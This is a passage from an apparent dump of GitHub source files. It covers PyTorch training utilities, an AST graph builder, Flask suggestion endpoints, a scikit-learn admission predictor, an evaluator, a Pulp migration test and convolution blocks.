tqdm\n\nimport torch.multiprocessing\n\ntorch.multiprocessing.set_sharing_strategy(\"file_descriptor\")\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef conditional_make_folder(f):\n try:\n # check if the folder exists, and if not, make it\n if not os.path.exists(f):\n os.makedirs(f)\n except:\n pass\n\n\ndef matrix_to_stats(m, matrix_name=\"\"):\n \"\"\"Returns a dictionary of statistics for matrix [m] for logging to WandB.\"\"\"\n matrix_name = f\"{matrix_name}_\" if len(matrix_name) > 0 else matrix_name\n m = m.squeeze()\n if not len(m.shape) == 2:\n tqdm.write(\n f\"MATRIX_TO_STATS: Matrix had {len(m.shape)} dimensions after squeezing out singular ones. Singular values will not be logged.\"\n )\n two_d_stats = {}\n else:\n singular_vals = torch.linalg.svdvals(m)\n two_d_stats = {\n f\"weights/{matrix_name}singular_vals\": singular_vals,\n f\"weights/{matrix_name}singular_vals_std\": torch.mean(singular_vals),\n f\"weights/{matrix_name}singular_vals_mean\": torch.std(singular_vals),\n }\n\n return two_d_stats | {\n f\"weights/{matrix_name}mean\": torch.mean(m),\n f\"weights/{matrix_name}std\": torch.std(m),\n f\"weights/{matrix_name}\": m,\n f\"weights/{matrix_name}norm\": torch.linalg.norm(m)\n / (m.view(-1).shape[0] ** 0.5),\n }\n\n\ndef with_noise(x, std=0.8, seed=None, mask=False):\n if seed is None:\n return x + torch.randn(*x.shape, device=x.device) * std\n else:\n noise = torch.zeros(*x.shape, device=x.device)\n noise.normal_(generator=torch.Generator(x.device).manual_seed(seed))\n return x + noise * std\n\n\ndef tensor_sample(*shape, seed=0, distribution=\"normal\", device=device):\n noise = torch.zeros(*shape, device=device)\n if distribution == \"normal\":\n noise.normal_(generator=torch.Generator(device).manual_seed(seed))\n else:\n raise NotImplementedError()\n return noise\n\n\ndef save_code_under_folder(folder):\n \"\"\"Saves the code in the current working directory under [folder] if they\n have not already been saved there. For now, all code files are expected\n to be siblings of the current file.\n \"\"\"\n code_folder = f\"{folder}/code\"\n _ = conditional_make_folder(code_folder)\n files = sorted(\n [f for f in os.listdir(os.path.dirname(__file__)) if f.endswith(\".py\")]\n )\n file_for_diffs = \"\"\n for f in files:\n with open(f, \"r\") as opened_file:\n code = opened_file.read()\n file_for_diffs += f\"---\\n{os.path.basename(f)}\\n---\\n{code}\\n\\n\\n\"\n with open(f\"{code_folder}/{f}\", \"w+\") as file_to_write:\n file_to_write.write(code)\n with open(f\"{folder}/all_code.txt\", \"w+\") as f:\n f.write(file_for_diffs)\n\n\ndef save_state(model, optimizer, args, epoch, folder, save_latest=False):\n \"\"\"Saves [model], [optimizer], [args], and [epoch] along with Python, NumPy,\n and PyTorch random seeds to 'folder/epoch.pt'.\n\n Args:\n model -- model to be saved\n optimizer -- optimizer to be saved\n args -- argparse Namespace used to create run\n epoch -- epoch number to save with\n folder -- folder inside which to save everything\n save_latest -- save to 'FOLDER/EPOCH_latest.pt' and delete all other\n 'FOLDER/*_latest.pt' files.\n \"\"\"\n state_dict = {\n \"model\": de_dataparallel(model).cpu().state_dict(),\n \"optimizer\": optimizer.state_dict(),\n \"epoch\": epoch,\n \"args\": args,\n \"seeds\": {\n \"random_seed\": random.getstate(),\n \"torch_seed\": torch.get_rng_state(),\n \"torch_cuda_seed\": torch.cuda.get_rng_state(),\n \"numpy_seed\": np.random.get_state(),\n },\n }\n _ = conditional_make_folder(folder)\n if save_latest:\n for t in [f for f in os.listdir(folder) if f.endswith(\"_latest.pt\")]:\n os.remove(f\"{folder}/{t}\")\n torch.save(state_dict, f\"{folder}/{epoch}_latest.pt\")\n else:\n torch.save(state_dict, f\"{folder}/{epoch}.pt\")\n model.to(device if torch.cuda.is_available() else \"cpu\")\n\n\ndef set_seed(seed):\n \"\"\"Seeds the program to use seed [seed].\"\"\"\n if isinstance(seed, int):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n tqdm.write(f\"Set the NumPy, PyTorch, and Random modules seeds to {seed}\")\n elif isinstance(seed, dict):\n random.setstate(seed[\"random_seed\"])\n np.random.set_state(seed[\"numpy_seed\"])\n torch.set_rng_state(seed[\"torch_seed\"])\n torch.cuda.set_rng_state(seed[\"torch_cuda_seed\"])\n tqdm.write(f\"Reseeded program with old seed\")\n else:\n raise ValueError(f\"Seed should be int or contain resuming keys\")\n\n return seed\n\n\ndef sample(select_from, k=-1, seed=0):\n \"\"\"Returns [k] items sampled without replacement from [select_from] with\n seed [seed], without changing the internal seed of the program. This\n explicitly ensures reproducability.\n \"\"\"\n state = random.getstate()\n random.seed(seed)\n try:\n result = random.sample(select_from, k=k)\n except ValueError as e:\n tqdm.write(f\"Tried to sample {k} from {len(select_from)} things\")\n raise e\n random.setstate(state)\n return result\n\n\ndef flatten(xs):\n \"\"\"Returns collection [xs] after recursively flattening into a list.\"\"\"\n if isinstance(xs, list) or isinstance(xs, set) or isinstance(xs, tuple):\n result = []\n for x in xs:\n result += flatten(x)\n return result\n else:\n return [xs]\n\n\ndef compose(*args):\n \"\"\"Returns a function that is the composition of [args].\"\"\"\n\n def f(x):\n for a in args:\n x = a(x)\n return x\n\n return f\n\n\ndef namespace_union(*ns):\n \"\"\"Returns the union of arpgarse Namespaces [ns].\"\"\"\n return argparse.Namespace(**{k: v for n in ns for k, v in vars(n).items()})\n\n\ndef hierararchical_hasattr(obj, attrs_list):\n \"\"\"Returns if the sequence of attributes in [attrs_list] accesses something\n in object [obj]. Example: if the code `x = obj.a.b.c` would work, then\n hierararchical_hasattr(x, ['a', 'b', 'c']) would be True.\n \"\"\"\n x = obj\n for attr in attrs_list:\n if hasattr(x, attr):\n x = getattr(x, attr)\n else:\n return False\n return True\n\n\ndef images_to_pil_image(images, sigmoid=False, clip=False):\n if len(images.shape) == 5:\n pass\n elif len(images.shape) == 4 and images.shape[-1] == 28:\n images = images.view(\n images.shape[0], images.shape[1], 1, images.shape[-2], images.shape[-1]\n )\n else:\n raise NotImplementedError(f\"Wrong shape: {images.shape}\")\n\n nrow = images.shape[1]\n ncol = images.shape[0]\n images = images.view(nrow * ncol, *images.shape[2:])\n\n images = torch.sigmoid(images) if sigmoid else images\n images = torch.clip(images, 0, 1) if clip else images\n grid = torchvision.utils.make_grid(images, nrow=nrow, ncol=ncol, normalize=True)\n ndarr = torch.clip((grid * 255), 0, 255).to(\"cpu\", torch.uint8)\n ndarr = ndarr.permute(1, 2, 0).to(\"cpu\").numpy()\n return Image.fromarray(ndarr)\n\n\ndef embeddings_to_pil_image(embeddings, classes, method=\"plain\"):\n \"\"\"Returns a PIL image of [embeddings] and [classes] represented in feature\n space.\n\n Args:\n embeddings -- NxD tensor of model embeddings\n classes -- N-dimensional tensor of classes\n method -- method by which to represent the data\n \"\"\"\n n, d = embeddings.shape\n embeddings = embeddings.cpu().numpy()\n classes = [str(c) for c in classes.cpu().numpy().tolist()]\n if d == 2 and method == \"plain\":\n fig = px.scatter(x=embeddings[:, 0], y=embeddings[:, 1], color=classes)\n return Image.open(io.BytesIO(fig.to_image(format=\"png\")))\n else:\n tqdm.write(\n f\"Not implemented for higher dimensional feature spaces, outputting image of zeros instead\"\n )\n return Image.fromarray(np.zeros(shape=(128, 128), dtype=np.int8))\n\n\ndef de_dataparallel(model):\n return model.module if isinstance(model, nn.DataParallel) else model\n\n\ndef sorted_namespace(args):\n \"\"\"Returns argparse Namespace [args] after sorting the args in it by key\n value. The utility of this is printing.\n \"\"\"\n d = vars(args)\n return argparse.Namespace(**{k: d[k] for k in sorted(d.keys())})\n\n\ndef set_worker_sharing_strategy(worker_id: int) -> None:\n torch.multiprocessing.set_sharing_strategy(\"file_system\")\n\n\ndef split_by_param_names(model, *param_names):\n name2params = {p: [] for p in param_names} | {\"default\": []}\n for k, v in model.named_parameters():\n found_custom_name = False\n for p in param_names:\n if p in k:\n name2params[p].append(v)\n found_custom_name = True\n break\n if not found_custom_name:\n name2params[\"default\"].append(v)\n\n return [{\"params\": p, \"name\": n} for n, p in name2params.items()]\n\n\nclass StepScheduler:\n \"\"\"StepLR but with easier control.\n\n Args:\n optimizer -- optimizer to step\n lrs -- list where sequential pairs of elements describe a step index\n and the learning rate for that step and subsequent steps\n until a new learning rate is specified\n last_epoch -- the last run step\n named_lr_muls -- dictionary mapping names to multipliers on learning\n rates specified in lrs. This is a simple and convenient way to have different learning rates for different layers\n \"\"\"\n\n def __init__(self, optimizer, lrs, last_epoch=-1, named_lr_muls={}):\n super(StepScheduler, self).__init__()\n self.optimizer = optimizer\n self.named_lr_muls = named_lr_muls\n\n # Get a mapping from epoch indices to the learning rates they should if\n # the learning rate should change at the start of the epoch\n keys = [lrs[idx] for idx in range(0, len(lrs) - 1, 2)]\n vals = [lrs[idx] for idx in range(1, len(lrs), 2)]\n self.schedule = OrderedDict(list(zip(keys, vals)))\n\n # Create a dictionary that implements (a) a fast mapping from steps to\n # the learning rate they should have, and (b) support for infinite steps\n # using the last learning rate\n self.step2lr = defaultdict(lambda: self.schedule[max(self.schedule.keys())])\n self.step2lr[-1] = self.schedule[0]\n cur_lr = self.schedule[0]\n for s in range(max(self.schedule.keys())):\n if s in self.schedule:\n cur_lr = self.schedule[s]\n self.step2lr[s] = cur_lr\n\n self.cur_step = last_epoch\n self.step()\n\n def __str__(self):\n return f\"{self.__class__.__name__} [schedule={dict(self.schedule)} cur_step={self.cur_step} lr={self.get_lr()}]\"\n\n def get_lr(self):\n return self.step2lr[self.cur_step]\n\n def step(self, cur_step=None):\n cur_step = self.cur_step if cur_step is None else cur_step\n\n for pg in self.optimizer.param_groups:\n pg[\"lr\"] = self.step2lr[cur_step]\n\n if \"name\" in pg and pg[\"name\"] in self.named_lr_muls:\n pg[\"lr\"] = pg[\"lr\"] * self.named_lr_muls[pg[\"name\"]]\n\n self.cur_step = cur_step + 1\n\n @staticmethod\n def process_lrs(lrs):\n \"\"\"Returns a list where even elements give a step index and are integers\n and odd elements give the float learning rate starting at the prior even\n element step.\n\n This is intended to be run on the initial float-valied LRS attribute\n collected through argparse, and will raise argparse errors if the LRS\n specification is bad.\n \"\"\"\n lrs = [float(l) for l in lrs]\n\n def is_increasing(l):\n return sorted(l) == l and len(l) == len(set(l))\n\n if not len(lrs) % 2 == 0:\n raise argparse.ArgumentTypeError(\n f\"--lrs must have an even number of values\"\n )\n if not is_increasing([l for idx, l in enumerate(lrs) if idx % 2 == 0]):\n raise argparse.ArgumentTypeError(\n f\"--lrs must have strictly increasing keys (even values)\"\n )\n if not lrs[0] == int(0):\n raise argparse.ArgumentTypeError(f\"--lrs should begin with 0\")\n else:\n return [int(l) if idx % 2 == 0 else float(l) for idx, l in enumerate(lrs)]\n","repo_name":"tristanengst/Mini3MRL","sub_path":"Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":12821,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"43095153953","text":"import networkx as nx\n\n\nclass ASTGraph:\n def __init__(self, src_language, src_code, properties, root_node, parser):\n self.src_language = src_language\n self.src_code = src_code\n self.properties = properties\n self.root_node = root_node\n self.parser = parser\n self.index = self.parser.index\n self.all_tokens = self.parser.all_tokens\n self.label = self.parser.label\n self.method_map = self.parser.method_map\n self.method_calls = self.parser.method_calls\n self.start_line = self.parser.start_line\n self.graph = self.to_networkx()\n\n def get_AST_nodes(self, root_node, AST, AST_index):\n\n if root_node.is_named:\n current_node_id = AST_index[\n (root_node.start_point, root_node.end_point, root_node.type)\n ]\n if current_node_id in self.all_tokens:\n\n label = self.label[current_node_id]\n else:\n label = root_node.type\n AST.add_node(\n current_node_id,\n node_type=root_node.type,\n label=label,\n shape=\"box\",\n style=\"rounded, filled\",\n fillcolor=\"#BFE6D3\",\n color=\"white\",\n )\n for child in root_node.children:\n if child.is_named:\n child_id = self.get_AST_nodes(child, AST, AST_index)\n if child_id != None:\n AST.add_edge(current_node_id, child_id)\n return current_node_id\n\n def merge_nodes(self, G, nodes, new_node):\n \"\"\"\n Merges the selected `nodes` of the graph G into one `new_node`,\n meaning that all the edges that pointed to or from one of these\n `nodes` will point to or from the `new_node`.\n \"\"\"\n\n nodes.remove(new_node)\n\n incoming_edges = G.in_edges(nodes, data=True)\n outgoing_edges = G.out_edges(nodes, data=True)\n for i in incoming_edges:\n G.add_edge(i[0], new_node, **i[2])\n for i in outgoing_edges:\n G.add_edge(new_node, i[1], **i[2])\n\n for n in nodes: # remove the merged nodes\n G.remove_node(n)\n\n def collapse(self, G):\n name_to_index_map = {}\n node_attributes = {}\n\n for variable in self.all_tokens:\n if variable not in self.method_map:\n name_to_index_map[self.label[variable]] = set()\n\n for node, properties in G.nodes(data=True):\n name = properties[\"label\"]\n if name in name_to_index_map.keys():\n name_to_index_map[name].add(node)\n\n for name, indexes in name_to_index_map.items():\n node_list = list(indexes)\n chosen_node = min(node_list)\n node_attributes[chosen_node] = G.nodes(data=True)[chosen_node]\n self.merge_nodes(G, node_list, chosen_node)\n nx.set_node_attributes(G, node_attributes)\n\n def minimize(self, root_node, blacklisted_nodes):\n if root_node.type in self.properties.get(\"blacklisted\", []):\n blacklisted_nodes.append(\n self.index[(root_node.start_point, root_node.end_point, root_node.type)]\n )\n\n for child in root_node.children:\n self.minimize(child, blacklisted_nodes)\n\n return blacklisted_nodes\n\n def remove_blacklisted_nodes(self, G):\n blacklisted_nodes = self.minimize(self.root_node, [])\n\n for node in blacklisted_nodes:\n for predecessor in G.predecessors(node):\n for successor in G.successors(node):\n G.add_edge(predecessor, successor)\n\n G.remove_node(node)\n\n def to_networkx(self):\n G = nx.MultiDiGraph()\n self.get_AST_nodes(self.root_node, G, self.index)\n if self.properties.get(\"collapsed\", False) == True:\n self.collapse(G)\n if self.properties.get(\"minimized\", False) == True:\n self.remove_blacklisted_nodes(G)\n\n nx.set_edge_attributes(G, \"AST_edge\", \"edge_type\")\n nx.set_edge_attributes(G, \"indigo\", \"color\")\n nx.set_edge_attributes(G, \"vee\", \"shape\")\n return G\n","repo_name":"IBM/tree-sitter-codeviews","sub_path":"src/comex/codeviews/AST/AST.py","file_name":"AST.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"37"} +{"seq_id":"10079318001","text":"from flask import Blueprint, request, redirect, jsonify\nfrom app import db\nfrom models import Suggestion\n\nUserSuggestions = Blueprint('Suggestion',__name__)\n\n#Requirement 109\n#Requirement number 12\n@UserSuggestions.route('/submitSuggestion',methods=['GET','POST'])\ndef submitSuggestion():\n if request.method == 'POST':\n title = request.form['title']\n description = request.form['description']\n status = 'Pending'\n new_suggestion = Suggestion(title=title, description=description, status = status)\n db.session.add(new_suggestion)\n db.session.commit()\n return redirect('http://localhost:3000/')\n else : redirect('http://localhost:3000/pagenotfound')\n\n@UserSuggestions.route('/deleteSuggestion',methods=['GET','POST'])\ndef deleteSuggestion():\n if request.method == 'POST':\n id = request.form['id']\n suggestion = Suggestion.query.filter_by(id=id).first()\n db.session.delete(suggestion)\n db.session.commit()\n return redirect('http://localhost:3000/techsupport')\n else : redirect('http://localhost:3000/pagenotfound')\n\n@UserSuggestions.route('/ChangeSuggestionStatusTech',methods=['GET','POST'])\ndef ChangeSuggestionStatusTech():\n if request.method == 'POST':\n suggestion_id = request.form['id']\n suggestion = Suggestion.query.filter_by(id = suggestion_id).first()\n if suggestion.status == 'Pending':\n suggestion.status = 'In Treatment'\n else: \n suggestion.status = 'Pending'\n db.session.commit()\n return redirect('http://localhost:3000/techsupport')\n else : redirect('http://localhost:3000/pagenotfound')\n\n@UserSuggestions.route('/ChangeSuggestionStatusAdmin',methods=['GET','POST'])\ndef ChangeSuggestionStatusAdmin():\n if request.method == 'POST':\n suggestion_id = request.form['id']\n suggestion = Suggestion.query.filter_by(id = suggestion_id).first()\n if suggestion.status == 'In Treatment':\n suggestion.status = 'Treated'\n else: \n suggestion.status = 'In Treatment'\n db.session.commit()\n return redirect('http://localhost:3000/adminpage')\n else : redirect('http://localhost:3000/pagenotfound')\n\n@UserSuggestions.route('/getSuggestionsTech',methods=['GET','POST'])\ndef getSuggestionsTech():\n if request.method == 'GET':\n suggestions = Suggestion.query.filter_by(status = 'Pending').all()\n return jsonify(suggestions)\n else : redirect('http://localhost:3000/pagenotfound')\n\n@UserSuggestions.route('/getSuggestionsAdmin',methods=['GET','POST'])\ndef getSuggestionsAdmin():\n if request.method == 'GET':\n suggestions = Suggestion.query.filter_by(status = 'In Treatment').all()\n return jsonify(suggestions)\n else : redirect('http://localhost:3000/pagenotfound')","repo_name":"Sagieke/travelist","sub_path":"flask-backend/endpoints/UserSuggestions.py","file_name":"UserSuggestions.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18949826873","text":"import csv\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.utils import shuffle\nfrom sklearn import metrics, svm, tree, naive_bayes\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nimport numpy as np\n\n\nclass Predictor:\n classifier_dict = {\n \"SVM\": OneVsRestClassifier(svm.SVC(kernel=\"linear\")),\n \"RFC\": RandomForestClassifier(n_estimators=100, criterion='gini'),\n \"DT\": tree.DecisionTreeClassifier(),\n \"NB\": naive_bayes.GaussianNB()\n }\n\n school_level_map = {\n \"C9\": 1,\n \"985\": 2,\n \"211\": 3,\n \"双非\": 4,\n \"其他\": 5\n }\n\n degree_map = {\n \"BA\": 0,\n \"MS\": 1\n }\n\n toefl_ietls_map = {\n range(0, 32): 4,\n range(32, 35): 4.5,\n range(35, 46): 5,\n range(46, 60): 5.5,\n range(60, 79): 6,\n range(79, 94): 6.5,\n range(94, 102): 7,\n range(102, 110): 7.5,\n range(110, 115): 8,\n range(115, 118): 8.5,\n range(118, 121): 9\n }\n\n def __init__(self, csv_path, test_size=0.7):\n self.file_path = csv_path\n self.test_size = test_size\n self.data = self.read_csv(self.file_path)\n self.X, self.Y = self.extract_features()\n # self.X, self.Y = self.pre_process_data()\n self.train_set_x, self.train_set_y, self.test_set_x, self.test_set_y = self.load_data_set(ratio=test_size)\n\n @classmethod\n def read_csv(cls, csv_path):\n csv_file = open(csv_path, encoding=\"utf-8\")\n reader = csv.DictReader(csv_file)\n\n row_list = list()\n row_index_is_zero = True\n for row in reader:\n if not row_index_is_zero:\n # Hard code the school ranking of \"The University of Hong Kong\"\n if str(row[\"school_name\"]) == \"The University of Hong Kong\" and \\\n row[\"apply_school_qs_ranking\"] == \"NULL\":\n row[\"apply_school_qs_ranking\"] = 30\n # Remove instances with no school ranking\n if row[\"apply_school_qs_ranking\"] != \"NULL\":\n row_list.append(row)\n row_index_is_zero = False\n return row_list\n\n def extract_features(self):\n data_x = list()\n data_y = list()\n for row in self.data:\n instance = {}\n\n if self.extract_result(row) is True:\n instance.update({\"undergrad_school_level\": self.extract_feature_undergrad_school_level(row)})\n instance.update({\"highest_degree\": self.extract_feature_highest_degree(row)})\n instance.update({\"english_level\": self.extract_feature_english_level(row)})\n instance.update({\"gre\": self.extract_feature_gre(row)})\n instance.update({\"undergrad_gpa\": self.extract_feature_undergrad_gpa(row)})\n data_x.append(instance)\n\n data_y.append({\"applied_school_ranking\": self.extract_feature_applied_school_ranking(row)})\n return data_x, data_y\n\n def normalize_data(self):\n school_level_min = min(self.school_level_map.values())\n school_level_max = max(self.school_level_map.values())\n\n english_level_min = min(self.toefl_ietls_map.values())\n english_level_max = max(self.toefl_ietls_map.values())\n\n gpa_score_list = [x[\"undergrad_gpa\"] for x in self.X]\n gpa_score_min = min(gpa_score_list)\n gpa_score_max = max(gpa_score_list)\n\n gre_list = [x[\"gre\"] for x in self.X]\n gre_min = min(gre_list)\n gre_max = max(gre_list)\n\n applied_school_ranking_list = [y[\"applied_school_ranking\"] for y in self.Y]\n applied_school_ranking_min = min(applied_school_ranking_list)\n applied_school_ranking_max = max(applied_school_ranking_list)\n\n for x in self.X:\n # normalize undergrad_school_level\n school_level = x[\"undergrad_school_level\"]\n normalized_school_level = (school_level - school_level_min) / (school_level_max - school_level_min)\n x[\"undergrad_school_level\"] = normalized_school_level\n\n # normalize highest_degree\n x[\"highest_degree\"] = self.degree_map[x[\"highest_degree\"]]\n\n # normalize english_level\n english_level = x[\"english_level\"]\n normalized_english_level = (english_level - english_level_min) / (english_level_max - english_level_min)\n x[\"english_level\"] = normalized_english_level\n\n # normalize gre_score\n gre = x[\"gre\"]\n normalized_gre = (gre - gre_min) / (gre_max - gre_min)\n x[\"gre\"] = normalized_gre\n\n # normalize gpa_score\n gpa_score = x[\"undergrad_gpa\"]\n normalized_gpa_score = (gpa_score - gpa_score_min) / (gpa_score_max - gpa_score_min)\n x[\"undergrad_gpa\"] = normalized_gpa_score\n\n def load_data_set(self, ratio):\n train_set_length = int(len(self.X) * ratio)\n\n train_set_x = self.X[:train_set_length]\n train_set_y = self.Y[:train_set_length]\n\n test_set_x = self.X[train_set_length:]\n test_set_y = self.Y[train_set_length:]\n return train_set_x, train_set_y, test_set_x, test_set_y\n\n def classify(self, classifier_method=\"RFC\"):\n classifier = self.classifier_dict.get(classifier_method)\n\n vec = DictVectorizer()\n\n train_x = vec.fit_transform(self.train_set_x).toarray()\n train_y = np.array(self.train_set_y, dtype=str)\n\n train_x, train_y = shuffle(train_x, train_y)\n\n classifier.fit(train_x, train_y)\n\n test_x = vec.transform(self.test_set_x).toarray()\n test_y = np.array(self.test_set_y, dtype=str)\n pre_y = classifier.predict(test_x)\n print(\"Accuracy score is %s\" % metrics.accuracy_score(test_y, pre_y))\n\n def extract_feature_english_level(self, row):\n english_level = 0\n toefl_total = row[\"toefl_total\"]\n if toefl_total != \"NULL\":\n toefl_total = float(toefl_total)\n\n for key, val in self.toefl_ietls_map.items():\n if toefl_total in key:\n english_level = val\n\n ielts_total = row[\"ielts_total\"]\n if ielts_total != \"NULL\":\n ielts_total = float(ielts_total)\n english_level = ielts_total if ielts_total > english_level else english_level\n\n return english_level\n\n def extract_feature_undergrad_gpa(self, row):\n undergrad_average_score = row[\"undergrad_average_score\"]\n undergrad_gpa = row[\"undergrad_gpa\"]\n undergrad_gpa_base = row[\"undergrad_gpa_base\"]\n\n if undergrad_average_score != \"NULL\":\n try:\n undergrad_average_score = float(undergrad_average_score)\n score = float(undergrad_average_score) / 100\n except ValueError:\n score = self.calc_score_by(undergrad_gpa, undergrad_gpa_base)\n else:\n score = self.calc_score_by(undergrad_gpa, undergrad_gpa_base)\n\n return round(score, 2)\n\n @staticmethod\n def calc_score_by(undergrad_gpa, undergrad_gpa_base):\n gpa = 0\n if undergrad_gpa != \"NULL\":\n try:\n gpa = float(undergrad_gpa)\n except ValueError:\n gpa = 0\n\n if undergrad_gpa_base != \"NULL\":\n try:\n base = float(undergrad_gpa_base)\n except ValueError:\n if gpa < 4:\n base = 4\n else:\n base = 5\n else:\n if gpa < 4:\n base = 4\n else:\n base = 5\n score = gpa / base\n return score\n\n def extract_feature_undergrad_school_level(self, row):\n school_level = str(row[\"undergrad_school_level\"])\n if school_level in [\"985\", \"211\"]:\n school_level = school_level\n elif school_level in [\"国内其他高校\", \"双非\"]:\n school_level = \"双非\"\n elif self.is_school_level_c9(school_level):\n school_level = \"C9\"\n else:\n school_level = \"其他\"\n return self.school_level_map[school_level]\n\n @staticmethod\n def is_school_level_c9(school_level):\n if school_level.__contains__(\"/\"):\n return True\n\n @staticmethod\n def extract_feature_gre(row):\n gre_total = row[\"gre_total\"]\n if gre_total != \"NULL\":\n try:\n gre_total = float(gre_total)\n except ValueError:\n gre_total = 0\n else:\n gre_total = 0\n return gre_total\n\n @staticmethod\n def extract_feature_applied_school_ranking(row):\n try:\n school_ranking = int(row[\"apply_school_qs_ranking\"])\n except ValueError:\n school_ranking = 0\n return school_ranking\n\n @staticmethod\n def extract_result(row):\n result = row[\"result\"]\n if result == \"被拒\":\n return False\n return True\n\n @staticmethod\n def extract_feature_highest_degree(row):\n if row[\"graduated_school_level\"] != \"NULL\":\n return \"MS\"\n return \"BA\"\n\n\nif __name__ == \"__main__\":\n predictor = Predictor(\"uni_apply_data.csv\")\n # predictor.classify(classifier_method=\"RFC\")\n # predictor.normalize_data()\n\n applied_school_ranking_list = [y[\"applied_school_ranking\"] for y in predictor.Y]\n applied_school_ranking_min = min(applied_school_ranking_list)\n applied_school_ranking_max = max(applied_school_ranking_list)\n\n print(sorted(applied_school_ranking_list, reverse=True))\n # print(applied_school_ranking_max)\n","repo_name":"leimiaomiao/TextMining","sub_path":"MachineLearning/uni_application/Predictor.py","file_name":"Predictor.py","file_ext":"py","file_size_in_byte":9664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30048476351","text":"import torch\nimport numpy as np\n\n\nclass IVEvaluator:\n def __init__(self):\n pass\n\n def evaluate(self, model: torch.nn.Module, tau: list, goals: list, reduce=False):\n if reduce:\n return self._compute_mean_error(model, tau, goals)\n else:\n return self._compute_error_across_time(model, tau, goals)\n\n def _compute_mean_error(self, model: torch.nn.Module, tau: list, goals: list):\n all_errors = []\n for t, goal in zip(tau, goals):\n total_error = 0\n for (state, nstate, action) in t:\n predicted_action = (\n model(torch.tensor(state).float(), torch.tensor(goal).float())\n .detach()\n .numpy()\n )\n action = action / np.linalg.norm(action)\n predicted_action = predicted_action / np.linalg.norm(predicted_action)\n error = np.linalg.norm(predicted_action - action) ** 2\n total_error += error\n all_errors.append(total_error / len(tau))\n return np.array(all_errors)\n\n def _compute_error_across_time(\n self, model: torch.nn.Module, tau: list, goals: list\n ):\n all_errors = []\n\n for t, goal in zip(tau, goals):\n errors_in_t = []\n for (state, nstate, action) in t:\n predicted_action = (\n model(\n torch.tensor(state).float().to(model.device),\n torch.tensor(goal).float().to(model.device),\n )\n .cpu()\n .detach()\n .numpy()\n )\n action = action / np.linalg.norm(action)\n predicted_action = predicted_action / np.linalg.norm(predicted_action)\n error = np.linalg.norm(predicted_action - action) ** 2\n errors_in_t.append(error)\n all_errors.append(errors_in_t)\n return np.array(all_errors)\n","repo_name":"timtody/intrinsically_motivated_robotics","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"29093574764","text":"from ....base import PulpServerTests\nfrom pulp.plugins.types.database import TYPE_COLLECTION_PREFIX\nfrom pulp.server.db import connection\nfrom pulp.server.db.migrate.models import MigrationModule\n\n\nID = '_id'\nLAST_UPDATED = '_last_updated'\nMIGRATION = 'pulp.server.db.migrations.0005_unit_last_updated'\n\n\ndef test_collections(n=3):\n names = []\n for suffix in range(0, n):\n name = TYPE_COLLECTION_PREFIX + str(suffix)\n names.append(name)\n return names\n\n\ndef test_units(n=10):\n units = []\n for unit_id in range(0, n):\n unit = {ID: unit_id}\n if unit_id % 2 == 0:\n unit[LAST_UPDATED] = 1\n units.append(unit)\n return units\n\n\nTEST_COLLECTIONS = test_collections()\nTEST_UNITS = test_units()\n\n\nclass TestMigration_0005(PulpServerTests):\n\n def setUp(self):\n self.clean()\n super(TestMigration_0005, self).setUp()\n for collection in [connection.get_collection(n, True) for n in TEST_COLLECTIONS]:\n for unit in TEST_UNITS:\n collection.save(unit)\n\n def tearDown(self):\n super(TestMigration_0005, self).tearDown()\n self.clean()\n\n def clean(self):\n database = connection.get_database()\n for name in [n for n in database.collection_names() if n in TEST_COLLECTIONS]:\n database.drop_collection(name)\n\n def test(self):\n # migrate\n module = MigrationModule(MIGRATION)._module\n module.migrate()\n # validation\n for collection in [connection.get_collection(n) for n in TEST_COLLECTIONS]:\n for unit in collection.find({}):\n self.assertTrue(LAST_UPDATED in unit)\n unit_id = unit[ID]\n last_updated = unit[LAST_UPDATED]\n if unit_id % 2 == 0:\n self.assertEqual(last_updated, 1)\n else:\n self.assertTrue(isinstance(last_updated, float))\n","repo_name":"nthien/pulp","sub_path":"server/test/unit/server/db/migrations/test_0005_unit_last_updated.py","file_name":"test_0005_unit_last_updated.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43080159892","text":"import torch\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport math\nimport numpy as np\n\nfrom ..config import eps\n\nclass ConvBlock4(torch.nn.Module):\n def __init__(self, inpt_kernel, output_kernel, kernel_size=4, stride=1, padding=0):\n super().__init__()\n self.conv = nn.Conv2d(in_channels=inpt_kernel, out_channels=output_kernel, kernel_size=kernel_size, stride=stride, padding=padding)\n self.bn = nn.BatchNorm2d(output_kernel)\n self.act = nn.LeakyReLU(inplace=True)\n# self.drp = nn.Dropout2d(0.3)\n\n gain = nn.init.calculate_gain('leaky_relu')\n nn.init.xavier_uniform_(self.conv.weight, gain=gain)\n\n def forward(self, x):\n x = self.conv(x)\n x = self.bn(x)\n# x = self.drp(x)\n x = self.act(x)\n return x\n\n\nclass DeconvBlock4(torch.nn.Module):\n def __init__(self, inpt_kernel, output_kernel, kernel_size=4, stride=1, padding=0):\n super().__init__()\n self.deconv = nn.ConvTranspose2d(in_channels=inpt_kernel, out_channels=output_kernel, kernel_size=kernel_size, stride=stride, padding=padding)\n self.bn = nn.BatchNorm2d(output_kernel)\n self.act = nn.LeakyReLU(inplace=True)\n# self.drp = nn.Dropout2d(0.3)\n\n gain = nn.init.calculate_gain('leaky_relu')\n nn.init.xavier_uniform_(self.deconv.weight, gain=gain)\n\n def forward(self, x):\n x = self.deconv(x)\n x = self.bn(x)\n# x = self.drp(x)\n x = 